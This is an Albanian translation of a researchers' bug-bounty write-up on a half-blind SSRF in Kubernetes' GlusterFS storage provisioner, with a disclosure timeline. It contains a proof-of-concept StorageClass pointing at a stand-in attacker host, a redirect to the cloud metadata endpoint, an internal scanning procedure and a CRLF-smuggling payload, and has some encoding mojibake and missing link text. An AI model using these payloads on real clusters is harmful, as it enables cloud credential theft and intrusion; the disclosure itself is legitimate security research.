Shën. përkth.: autorët e këtij artikulli tregojnë në detaje se si arritën të zbulojnë një dobësi në Kubernetes. Edhe pse fillimisht dukej e pakët rrezikshme, në kombinim me faktorë të tjerë, rëndësia e saj ishte maksimale për disa ofrues shërbimesh cloud. Pjesa e punës së specialistëve u shpërblye bujshëm nga disa organizata.

Kush jemi ne
Ne jemi dy hulumtues francez të sigurisë që zbuluan së bashku një dobësi në Kubernetes. Na quajnë Brice Augras dhe Christophe Hauquiert, por në shumë platforma Bug Bounty jemi të njohur si Reeverzax dhe Hach përkatësisht:
- â ;
- â arkitekt Kubernetes nĂ« Nokia.
ĂfarĂ« ndodhi?
Ky artikull është mënyra jonë për të treguar se si një projekt i zakonshëm hulumtues papritur u shndërrua në aventurën më emocionuese të jetës së gjuetarëve të bugs (të paktën për momentin).
Siç e dini, gjuetarët e bugs kanë disa veçori të dukshme:
- ata jetojnë me pica dhe birrë;
- ata punojnë kur të tjerët flenë.
Ne nuk jemi përjashtim nga këto rregulla: zakonisht takohemi në fundjavë dhe kalojmë netë pa gjumë duke hakuar. Por një nga këto netë përfundoi mjaft ndryshe.
Fillimisht, ne patëm në plan të takohemi për të diskutuar pjesëmarrjen në të nesërmen. Gjatë bisedës mbi sigurinë e Kubernetes në një mjedis shërbimi të menaxhuar, përmendëm një ide të vjetër për SSRF () dhe vendosëm ta provojmë atë si skenar sulmi.
Në orën 11 të mbrëmjes filluam hulumtimin dhe shkuam për të fjetur herët në mëngjes, mjaft të kënaqur me rezultatet. Pikërisht përmes këtyre hulumtimeve ne hasëm në programin MSRC Bug Bounty dhe shpikëm një exploit për rritjen e privilegjeve.
Kaluan disa javĂ«/muaj dhe rezultati ynĂ« i papritur na ndihmoi tĂ« fitonim njĂ« nga shpĂ«rblimet mĂ« tĂ« larta nĂ« histori tĂ« Azure Cloud Bug Bounty â pĂ«rveç atij qĂ« morĂ«m nga Kubernetes!
Në bazë të projektit tonë hulumtues, komiteti i Sigurisë së Produktit Kubernetes publikoi .
Tani dëshirojmë ta shpërndajmë sa më shumë informacion mbi dobësinë e zbuluar. Shpresojmë që ta vlerësoni gjetjen dhe ta ndani informacionin teknik me anëtarët e tjerë të komunitetit infosec!
KĂ«shtu, ja historia jonĂ«âŠ
Konteksti
Për ta dëshmuar sa më plotësisht kuptimin e ndodhi, le të shqyrtojmë së pari se si funksionon Kubernetes në një mjedis të menaxhuar në re.
Kur krijoni një instancë të klasterit Kubernetes në një mjedis të tillë, akoma përgjegjësinë e shtresës menaxhuese e merr ofruesi i shërbimeve në re:

Shtresa menaxhuese ndodhet në periferi të ofruesit të shërbimeve në re, ndërsa nyjat e Kubernetes ndodhen në periferi të klientit.
Për alokimin dinamik të volumenëve përdoret mekanizmi i furnizimit të tyre dinamik nga një backend storage të jashtme dhe përputhja me PVC (kërkesa për volum të përhershëm).
Pra, pasi PVC të krijohet dhe të lidhet me StorageClass në klasterin K8s, veprimet e mëtejshme për furnizimin e volumit i merr përsipër kube/cloud controller manager (emri i saktë varet nga lëshimi). (Shën. përkth.: Më shumë rreth CCM me shembuj të zbatimit të tij për një nga ofruesit e shërbimeve në re, ne kemi shkruar tashmë. .)
Ekzistojnë disa lloje provisioner-ash që mbështeten nga Kubernetes: shumica e tyre janë të përfshirë në ndërsa disa menaxhohen nga provisioner të tjerë që janë vendosur në pod në klaster.
Në studimin tonë, ne u përqëndruam në mekanizmin e brendshëm të furnizimit të volumenëve, të ilustruar më poshtë:

Furnizimi dinamik i volumenëve duke përdorur provisioner-in e integruar të Kubernetes.
Në përmbledhje, kur Kubernetes është i zbatuar në një mjedis të menaxhuar, për punën e controller manager-it përgjegjësinë e merr ofruesi i shërbimeve në re, por kërkesa për krijimin e volumit (numri 3 në diagramin e mësipërm) del jashtë kufijve të rrjetit të brendshëm të ofruesit të shërbimit. Dhe këtu situata bëhet vërtet interesante!
Scenario i shkeljes.
NĂ« kĂ«tĂ« seksion, do tĂ« tregojmĂ« se si pĂ«rfituam nga procesi i pĂ«rmendur mĂ« parĂ« dhe fituam akses nĂ« burimet e brendshme tĂ« ofruesit tĂ« shĂ«rbimeve nĂ« re. Gjithashtu, do tĂ« ilustrojmĂ« se si mund tĂ« kryeni disa veprime â pĂ«r shembull, tĂ« merrni akreditivĂ«t e brendshĂ«m ose tĂ« kryeni njĂ« shkallĂ«zim privilegji.
Një manipulim i thjeshtë (në këtë rast është Service Side Request Forgery) ndihmoi që të delim jashtë ambientit të klientit në klasteret e ofruesve të ndryshëm të shërbimeve K8s të menaxhuara.
Në kërkimet tona ne u përqendruam te provisioner-i GlusterFS. Megjithatë, edhe pse sekuenca e mëtejshme e veprimeve është ilustruar në këtë kontekst, ky lloj vulnerabiliteti e prek edhe Quobyte, StorageOS dhe ScaleIO.

Abuzimi me mekanizmin e ofrimit dinamik të volumes.
Gjatë analizës së klasave të ruajtjes. GlusterFS në kodin burimor të klientit në Golang ne , çka në kërkesën e parë HTTP (3), e dërguar gjatë krijimit të volumes, në fundin e URL-së së përdoruesit në parametrin resturl informacioni i njëjtë si për kontratën normale. /volumes.
VendosĂ«m tĂ« heqim kĂ«tĂ« rrugĂ« shtesĂ« duke shtuar # nĂ« parametrin resturl. Ja konfiguracioni i parĂ« YAML qĂ« pĂ«rdorĂ«m pĂ«r tĂ« verifikuar ekzistencĂ«n e vulnerabilitetit "semi-blind" SSRF (mĂ« shumĂ« rreth semi-blind ose half-blind SSRF mund tĂ« lexoni p.sh., â shĂ«n. pĂ«rkth.):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfMë pas, për menaxhimin e largët të klasterit Kubernetes, përdorëm binarin kubectl. Zakonisht, ofruesit e shërbimeve cloud (Azure, Google, AWS etj.) lejojnë marrjen e kredencialeve për t'u përdorur në këtë utilitar.
Falë kësaj, arritëm të aplikonim skedarin tonë "special". Kube-controller-manager kreu kërkesën rezultuese HTTP:
kubectl create -f sc-poc.yaml 
Përgjigjia nga këndvështrimi i sulmuesit.
Pak pas kĂ«saj, ne gjithashtu arritĂ«m tĂ« merrnim pĂ«rgjigjen HTTP nga serveri i synuar â pĂ«rmes komandave describe pvc ose get events nĂ« kubectl. Dhe vĂ«rtet: ky drejtues i Kubernetes ishte shumĂ« i zĂ«shĂ«m nĂ« paralajmĂ«rimet / mesazhet e veta pĂ«r gabimet...
Ja një shembull me një lidhje në https://www.google.fr, e cila ishte vendosur si parametr resturl:
kubectl describe pvc poc-ssrf
# ose mund tĂ« pĂ«rdorni kubectl get events 
Në kuadër të këtij qasje ne ishim të kufizuar në kërkesa të tipit HTTP POST dhe nuk mundëm të merrnim përmbajtjen e trupit të përgjigjes nëse kodi i kthyer ishte 201. Prandaj, vendosëm të kryenim hetime të mëtejshme dhe të zgjerojmë këtë skenar sulmi me qasje të reja.
Evolucioni i kërkimeve tona.
- Skenari i avancuar Nr. 1: përdorimi i ridirektit 302 nga një server i jashtëm për të ndryshuar metodën HTTP, për të marrë një mënyrë më të fleksibël për të mbledhur të dhëna të brendshme.
- Skenari i avancuar Nr. 2: automatizimi i skanimit LAN dhe zbulimi i burimeve të brendshme.
- Skema Avancuar Nr. 3: përdorimi i HTTP CRLF + smuggling për krijimin e kërkesave HTTP të personalizuara dhe marrjen e të dhënave të nxjerra nga log-ët e kube-controller-it.
Specifikimet Teknike
- Në hulumtime u përdor Azure Kubernetes Service (AKS) me Kubernetes version 1.12 në rajonin Europa Veriore.
- Skemat e përmendura më sipër u ekzekutuan në versionet e fundit të Kubernetes përveç skemës së tretë, pasi ajo kërkonte Kubernetes të ndërtuar me Golang version †1.12.
- Serveri i jashtĂ«m i sulmuesit â
https://attacker.com.
Skema Avancuar Nr. 1: ridrejtimi i kërkesës HTTP POST në GET dhe marrja e të dhënave të ndjeshme
Metoda origjinale u përmirësua me konfigurimin e serverit të sulmuesit për t'u kthyer 302 HTTP Retcode, për të konvertuar kërkesën POST në kërkesën GET (hapi 4 në skemë):

Kërkesa e parë (3), që vjen nga klienti GlusterFS (Controller Manager), ka llojin POST. Pas përfundimit të hapave të mëposhtëm, ne arritëm ta kthenim atë në GET:
- Si parametrin
resturlnë StorageClass përcaktohethttp://attacker.com/redirect.php. - Fundi i pikës
https://attacker.com/redirect.phppĂ«rgjigjet me kodin e statusit 302 HTTP me Header-in e mĂ«poshtĂ«m Location:http://169.254.169.254. Kjo mund tĂ« jetĂ« çdo burim tjetĂ«r i brendshĂ«m â nĂ« kĂ«tĂ« rast lidhja e ridrejtimit pĂ«rdoret ekskluzivisht si shembull. - MĂ« nĂ« default biblioteka net/http e Golang redirecton kĂ«rkesĂ«n dhe konverton POST nĂ« GET me kodin e statusit 302, si rezultat, nĂ« burimin e synuar arrin njĂ« kĂ«rkesĂ« HTTP GET.
Për të lexuar trupin e përgjigjes HTTP, duhet të bëni përshkruaj objekti PVC:
kubectl describe pvc xxxJa një shembull i përgjigjes HTTP në formatin JSON që arritëm ta merrnim:

Kraftet e njohur të vulneraibilitetit atëherë ishin të kufizuara për shkak të pikave të mëposhtme:
- Pamundësia për të vendosur headers HTTP në kërkesën e daljes.
- Pamundësia për të ekzekutuar një kërkesë POST me parameter në trup (në këtë mënyrë është e lehtë të kërkosh vlerën e çelësit nga një instancë etcd duke punuar në 2379 port, nëse përdoret HTTP i pa-kriptuar).
- Pamundësia për të marrë përmbajtjen e trupit të përgjigjes, kur kodi i statusit ishte 200 dhe përgjigja nuk kishte llojin e përmbajtjes JSON.
Skema Avancuar Nr. 2: skanimi i rrjetit lokal
Kjo metodë half-blind SSRF më pas u përdor për të skanuar rrjetin e brendshëm të ofruesit të shërbimeve të cloud dhe për të pyetur shërbimet e ndryshme që kanë dallim (instanca Metadata, Kubelet, etcd etj.) mbi bazën e përgjigjeve kube-controller-it.

Fillimisht u përcaktuan portet standarde të dëgjimit të komponentëve të Kubernetes (8443, 10250, 10251 etj.), dhe më pas duhej të automatizohej procesi i skanimit.
Duke parë se ky metod skanimi i burimeve është shumë specifik dhe i papajtueshëm me skanerët klasikë dhe veglat SSRF, ne vendosëm të krijojmë punëtorë tonë në skenarin bash që automatizojnë gjithë procesin.
Për shembull, për të skanuar më shpejt gamën 172.16.0.0/12 të rrjetit të brendshëm, u aktivizuan paralelisht 15 punëtorë. Gama e sipërpërmendur e IP-ve u zgjodh vetëm si shembull dhe mund të ndryshohet për gamën e IP-ve të ofruesit konkret të shërbimeve.
Për të skanuar një adresë IP dhe një port, duhet të bëni si më poshtë:
- të hiqni StorageClass-in e verifikuar herën e kaluar;
- të hiqni kërkesën e mëparshme të Volume-it të Përhershëm;
- të ndryshoni vlerat e IP-së dhe Portit në
sc.yaml; - të krijoni StorageClass me IP-në dhe portin e ri;
- të krijoni një PVC të ri;
- të nxirrni rezultatet e skanimit duke përdorur describe-n për PVC.
Scenari Avancuar â3: injeksioni CRLF + kalimi i HTTP nĂ« versionet "e vjetra" tĂ« klasterit Kubernetes
Nëse, përveç kësaj, ofruesi ofronte klientëve versionet e vjetra të klasterit K8s dhe u jepte atyre akses në loget e kube-controller-manager-it, efekti bëhej edhe më i dukshëm.
Kërcënuesit do të kishin vërtet më shumë lehtësi për të ndryshuar sipas dëshirës kërkesat HTTP, të destinuara për marrjen e përgjigjes të plotë HTTP.

Për realizimin e këtij skenari të fundit duhej të ishin përmbushur kushtet si më poshtë:
- Përdoruesi duhet të ketë akses në loget e kube-controller-manager (si, për shembull, në Azure LogInsights).
- Klasteri Kubernetes duhet të përdorë versionin e Golang-ut më të ulët se 1.12.
Ne vendosëm një mjedis lokal që imiton shkëmbimin e të dhënave ndërmjet klientit Go GlusterFS dhe një server të falsifikuar (për tani do t'i qëndrojmë larg publikimit të PoC).
U zbulua , që prekte versionet e Golang-ut më të ulët se 1.12 dhe lejonte hackerët të kryejnë sulme të tipit HTTP smuggling/CRLF.
Duke bashkuar SSRF-in e gjysmë-verifikuar të përshkruar më arriba se bashku me këtë, ne ishim në gjendje të dërgonim kërkesa sipas dëshirës sonë, duke përfshirë zëvendësimin e titujve, metodës HTTP, parametrave dhe të dhënave që kube-controller-manager-i pastaj i përpunonte.
Ja një shembull i "kurthit" funksional në parametrin resturl të StorageClass-it, që realizon një skenar të tillë sulmi:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrnSi rezultat, ndodh një gabim përgjigje e paftuar, mesazh i cili regjistrohet në log-et e kontrollorit. Falë "multëfolësisë" të aktivizuar me të drejtë, aty ruhet gjithashtu përmbajtja e përgjigjes HTTP.
![]()
Kjo ishte "pezhu" më e suksesshme brenda konceptit prova.
Duke përdorur një qasje të tillë, arritëm të realizojmë disa nga sulmet e mëposhtme në klasterë të ndryshëm të ofruesve të menaxhuar K8s: elevimi i privilegjeve me marrjen e akreditimeve në instancat metadata, DoS për masterin përmes (pa shifruar) kërkesave HTTP në instancat e masterit etcd etj.
Pasojat
Në deklaratën zyrtare të Kubernetes në lidhje me vulnerabilitetin SSRF të zbuluar nga ne, i është dhënë një rang CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Nëse shqyrtohet vetëm vulnerabiliteti i lidhur me perimetrin e Kubernetes, vektori i integritetit (integrity vector) në të është klasifikuar si Asnjë.
Megjithatë, vlerësimi i pasojave të mundshme në kontekstin e ambientit të shërbimit të menaxhuar (dhe kjo ishte pjesa më interesante e kërkimit tonë!) na inkurajoi ta riclasifikojmë vulnerabilitetin në rang Kritik CVSS10/10 për shumë distributorë.
Më poshtë gjeni informacion shtesë që do t'ju ndihmojë të kuptoni se çfarë na drejtoi në vlerësimin e pasojave të mundshme në ambientet cloud:
Integriteti
- Ekzekutimi i komandave të largëta me akreditimet e brendshme të marra.
- Riprodhimi i skenarit të mësipërm përmes metodës IDOR (Insecure Direct Object Reference, domethënë lidhje të drejtpërdrejta të pasigurta në objekte) me burime të tjera të zbuluara në rrjetin lokal.
Privatësia
- Sulmi i tipit falë vjedhjes së akreditimeve të cloud-it (p.sh. metadata API).
- Mblidhja e informacionit pĂ«rmes skanimit tĂ« rrjetit lokal (pĂ«rcaktimi i versionit SSH, versionit tĂ« serverit HTTP, âŠ).
- Mblidhja e informacionit mbi instancat dhe infrastrukturën përmes pyetjeve në API-të e brendshme, të tilla si metadata API (
http://169.254.169.254, âŠ). - Vjedhja e tĂ« dhĂ«nave tĂ« klientĂ«ve me anĂ« tĂ« akreditimeve tĂ« cloud-it.
Disponueshmëria
Të gjitha skenaret e përdorimit të exploiteve të lidhura me vektorët e sulmit në integritet (celësin), mund të përdoren për veprime shkatërruese dhe të çojnë në atë që instancat master nga perimetrat e klientit (ose çdo perimter tjetër) do të ishin të paqëndrueshme.
Duke ishim në një mjedis të menaxhuar K8s dhe vlerësuam ndikimin në integritet, mund të imagjinojmë shumë skenarë që mund të ndikonin në disponueshmërinë. Si shembuj të tjerë, mund të përmendim dëmtimin e bazës së të dhënave etcd ose kryerjen e një thirrjeje kritike në API-në e Kubernetes.
Kronologjia
- 6 Dhjetor 2019: dërgimi i një mesazhi për shfaqjen e një dobësie në MSRC Bug Bounty.
- 3 Janar 2020: një palë e tretë informoi zhvilluesit e Kubernetes se ne po punonim për një problem në fushën e sigurisë. Dhe i kërkoi atyre ta shqyrtonin SSRF si një dobësi in-core. Pas kësaj ne paraqitëm një raport të përgjithshëm me detaje teknike mbi burimin e problemit.
- 15 Janar 2020: ne i ofruam zhvilluesve të Kubernetes raporte teknike dhe të përgjithshme sipas kërkesës së tyre (përmes platformës HackerOne).
- 15 Janar 2020: zhvilluesit e Kubernetes na informuan se half-blind SSRF + injeksioni CRLF për lëshimet e kaluara konsiderohet si një dobësi in-core. Ne menjëherë ndaluam analizën e perifereve të ofruesve të tjerë të shërbimeve: shkaku kryesor tani ishte në duar të ekipit K8s.
- 15 Janar 2020: shpërblimi mori përmes HackerOne nga MSRC.
- 16 Janar 2020: Kubernetes PSC (Komiteti për Sigurinë e Produktit) e njohu dobësinë dhe kërkoi që të mbahej në fshehtësi deri në mes të marsit për shkak të numrit të madh të viktimave të mundshme.
- 11 Shkurt 2020: shpërblimi iu dha nga Google VRP.
- 4 Mars 2020: shpërblimi mori përmes HackerOne nga Kubernetes.
- 15 Mars 2020: shpërndarja publike e planifikuar fillimisht u shty për shkak të situatës me COVID-19.
- 1 Qershor 2020: një deklaratë e përbashkët nga Kubernetes + Microsoft mbi dobësinë.
TL;DR
- Ne po pimĂ« birrĂ« dhe po hamĂ« pizzĂ« đ
- Ne zbulonim një dobësi in-core në Kubernetes, ndonëse nuk kishim planifikuar ta bënim këtë.
- Ne kryem një analizë të mëtejshme në klasterët e ofruesve të ndryshëm të cloud-it dhe arritëm të rrisim dëmin që shkaktonte dobësia, për të marrë bonuse të tjera të shkëlqyera.
- Në këtë artikull do të gjeni shumë detaje teknike. Ne do të gëzohemi të diskutojmë për to me ju (Twitter: & ).
- Doli se formalitetet dhe hartimi i raporteve po merrnin shumë më tepër kohë se sa ishte pritur.
Linket
- ;
- ;
- ;
- .
P.S. nga përkthyesi
Lexoni gjithashtu në blogun tonë:
- «»;
- «»;
- «».
Burimi: habr.com
